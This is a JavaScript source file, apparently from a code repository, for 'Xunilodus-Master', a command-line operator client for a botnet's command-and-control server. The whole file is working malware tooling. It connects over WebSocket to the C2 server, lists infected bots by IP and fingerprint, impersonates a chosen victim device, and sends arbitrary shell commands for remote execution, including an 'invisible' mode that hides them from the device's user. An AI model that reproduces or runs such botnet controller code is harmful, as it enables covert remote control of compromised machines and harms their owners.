xunilodus-master
Version:
This command line tool is used to connect with an remote Xunilodus Command Control botnet server.
261 lines (226 loc) • 9.73 kB
JavaScript
const yargs = require('yargs');
const WebSockets = require('websocket');
const prompt = require('prompt');
const { BotnetFrame, MessageType, SenderType, StatusCode, CommandFlags, CommandID } = require('./sfxtp');
//#region [ Arguments validators ]
var argv = yargs.scriptName('Xunilodus-Master')
.usage("Usage: $0 --address=hostname --port=port_value [ --ws | --wss ]")
.example("$0 --address=177.44.78.199 --port=44335 --ws", "Connect to Xunilodus Server botnet on port 44335 using the WS protocol.")
.command('address [address]', 'The address to connect with target server.', (yargs) => {
return yargs.positional('address', {
description: 'The address to connect with target server.',
demandOption: "The address of server is required.",
type: 'string',
})
}).command('port [port]', 'The port to listen for incoming connections.', (yargs) => {
return yargs.positional('port', {
description: 'The port to listen for incoming connections.',
type: 'string',
})
}).option('ws', {
description: 'Tell the Xunilodus Master to open the connection using the Web Socket protocol.',
type: 'boolean',
}).option('wss', {
description: 'Tell the Xunilodus Master to open the connection using the Web Socket Secure protocol.',
type: 'boolean',
}).help().alias('help', 'h').argv;
if (!argv['ws'] && !argv['wss']){
console.log('[?] You should specify what protocol use for connect with Xunilodus Server [ --ws | --wss ]');
process.exit(1);
}
if (!argv['address']){
console.log('[?] You should specify the remote address of Xunilodus Server eg.: [ --address=177.44.78.199 ]');
process.exit(1);
}
if (!argv['port']){
console.log('[?] Parameter --port not specified. Presuming default 44335');
argv['port'] = 44335;
}
//#endregion
prompt.start();
prompt.message = '>';
prompt.delimiter = '';
var ImpersonationData = {
IsImpersonating: false,
ImpersonatedFingerprint: ''
};
var WebSockConnection = null;
//var SequenceIdentifierTable = [];
var WebSock = new WebSockets.client();
function WebSockSendQuery(commandId, commandFlags, dstFingerprint, status, payload){
let DstFingerprint = parseInt(dstFingerprint || '00', 16);
let CmdFlags = commandFlags;
let CmdIdentifier = commandId;
let StsCode = status;
let PayloadData = JSON.stringify(payload);
if ((commandId == CommandID.EXECUTE_SHELLCODE) && ImpersonationData.IsImpersonating){
DstFingerprint = parseInt(ImpersonationData.ImpersonatedFingerprint, 16);
}
WebSockConnection.send(
BotnetFrame.build(
MessageType.QUERY,
Math.floor(Math.random() * 0xffffffff),
SenderType.MASTER, DstFingerprint,
CmdFlags, 0, StsCode, CmdIdentifier,
0x7ffddeee, PayloadData
).Bytes
);
}
function KeyboardInputProcessor(){
prompt.get({ description: `${(ImpersonationData.IsImpersonating ? ' [' + ImpersonationData.ImpersonatedFingerprint + '] ' : ' ')}`, type: 'string' }, function(err, result){
if (!err){
let args = yargs(result.question)
.command('impersonate [fingerprint]', 'Impersonate a specified device by fingerprint.', (arg) => {
return arg.positional('fingerprint', {
description: 'Impersonate a specified device by fingerprint.',
type: 'string',
})
})
.command('$ [command]', 'The command to be evaluated in the remote device.', (arg) => {
return arg.positional('command', {
description: 'The command to be evaluated in the remote device.',
type: 'string',
})
}).option('invisible', {
description: 'Tell the Xunilodus to execute the shell command in invisible mode.',
type: 'boolean',
}).option('visible', {
description: 'Tell the Xunilodus to execute the shell command in visible mode.',
type: 'boolean',
}).option('maximized', {
description: 'Tell the Xunilodus to execute the shell command in maximized mode.',
type: 'boolean',
}).option('minimized', {
description: 'Tell the Xunilodus to execute the shell command in minimized mode.',
type: 'boolean',
}).help(false).argv;
if (args._.length == 0){
console.log('[!] You should provide at least one command!');
return KeyboardInputProcessor();
}
let CmdIdentifier = {
'LISTBOTS': {
Id: CommandID.LIST_BOTS,
Status: StatusCode.QUERY_INFO
},
'IMPERSONATE': {
Id: CommandID.IMPERSONATE,
Status: StatusCode.QUERY_SENT
},
'DEPERSONATE': {
Id: CommandID.DEPERSONATE,
Status: StatusCode.QUERY_SENT
},
'$': {
Id: CommandID.EXECUTE_SHELLCODE,
Status: StatusCode.QUERY_SENT
},
'HELP': {
Id: CommandID.HELP,
Status: StatusCode.QUERY_INFO
}
} [args._[0].toUpperCase()];
if (typeof CmdIdentifier == 'undefined'){
console.log('[!] Command "' + args._[0] + '" not recognized as internal or external Xunilodus command. Try use command HELP for get some info.');
return KeyboardInputProcessor();
}
let CmdFlags = 0;
CmdFlags |= (args['invisible'] ? CommandFlags.INVISIBLE : 0);
CmdFlags |= (args['visible'] ? CommandFlags.VISIBLE : 0);
CmdFlags |= (args['maximized'] ? CommandFlags.MAXIMIZED : 0);
CmdFlags |= (args['minimized'] ? CommandFlags.MINIMIZED : 0);
if (!(new RegExp(/^[0-9a-fA-F]{8}$/)).test(args['fingerprint']))
args['fingerprint'] = '';
if (!args['command'])
args['command'] = '';
if (args['fingerprint'] && (CmdIdentifier.Id == CommandID.IMPERSONATE) && !ImpersonationData.IsImpersonating){
ImpersonationData.ImpersonatedFingerprint = String(args['fingerprint']).toUpperCase();
}
WebSockSendQuery(CmdIdentifier.Id, CmdFlags, args['fingerprint'], CmdIdentifier.Status, { shellcode: args['command'] });
} else {
console.log('[!] Something went wrong!');
return KeyboardInputProcessor();
}
});
}
function OnFrameReceived(frame){
if (frame.MessageType == MessageType.RESPONSE){
if (frame.SenderType == SenderType.COMMAND_CONTROL){
switch (frame.StatusCode){
case StatusCode.RESPONSE_SENT:{
switch (frame.CommandID){
case CommandID.IMPERSONATE:{
ImpersonationData.IsImpersonating = true;
console.log(`[+] ${JSON.parse(frame.Payload).message}`);
} break;
case CommandID.DEPERSONATE:{
ImpersonationData.IsImpersonating = false;
console.log(`[+] ${JSON.parse(frame.Payload).message}`);
} break;
case CommandID.EXECUTE_SHELLCODE:{
console.log(`${JSON.parse(frame.Payload).cmd_result}`);
} break;
}
} break;
case StatusCode.ERROR_STATUS:{
switch (frame.CommandID){
case CommandID.IMPERSONATE:{
console.log(`[!] ${JSON.parse(frame.Payload).message}`);
} break;
case CommandID.EXECUTE_SHELLCODE:{
console.log(`[!] ${JSON.parse(frame.Payload).message}`);
} break;
}
} break;
case StatusCode.RESPONSE_INFO:{
switch (frame.CommandID){
case CommandID.LIST_BOTS:{
let data = JSON.parse(frame.Payload);
for (let x = 0; x < data.length; x++){
console.log(`${x+1}) IP Address: ${data[x].RemoteAddress} | Fingerprint: ${data[x].Fingerprint} | Me Device?: ${data[x].IsOwnDevice}`);
}
} break;
case CommandID.HELP:{
let data = JSON.parse(frame.Payload);
console.log(`[+] Showing current commands available.\n`);
for (let x in data){
console.log(`[?] ${data[x].cmd_name}:\nDescription: ${data[x].cmd_desc}\nUsage: ${data[x].cmd_usage}\n`);
}
} break;
}
} break;
}
KeyboardInputProcessor();
}
}
}
WebSock.on('connect', (connection) => {
WebSockConnection = connection;
console.log('[+] Connection established with success.\n');
KeyboardInputProcessor();
connection.on('message', (data) => {
console.log('[+] New response received from Command Control.\n');
if (data.type == 'binary'){
try{
OnFrameReceived(new BotnetFrame(data.binaryData));
} catch(e){
console.log('[-] The master sent an invalid buffer. Ignoring the received frame...');
}
}
});
connection.on('close', (code, desc) => {
console.log('[-] The connecting was closed. Received code: ' + code + ' with description: ' + desc);
process.exit(1);
});
connection.on('error', (err) => {
console.log('[-] Something went wrong. Please try again or change the remote address and port. Check the protocol as well.\n' + err.message);
process.exit(1);
});
});
WebSock.on('connectFailed', (err) => {
console.log('[-] Failed to connect to remote Xunilodus Server. Did you forget the address/port?');
process.exit(1);
});
console.log('[!] Connecting to the remote server...');
WebSock.connect((argv['wss'] ? 'wss' : (argv['ws'] ? 'ws' : 'ws')) + '://' + argv['address'] + (argv['port'] ? ':' + argv['port'] : ''));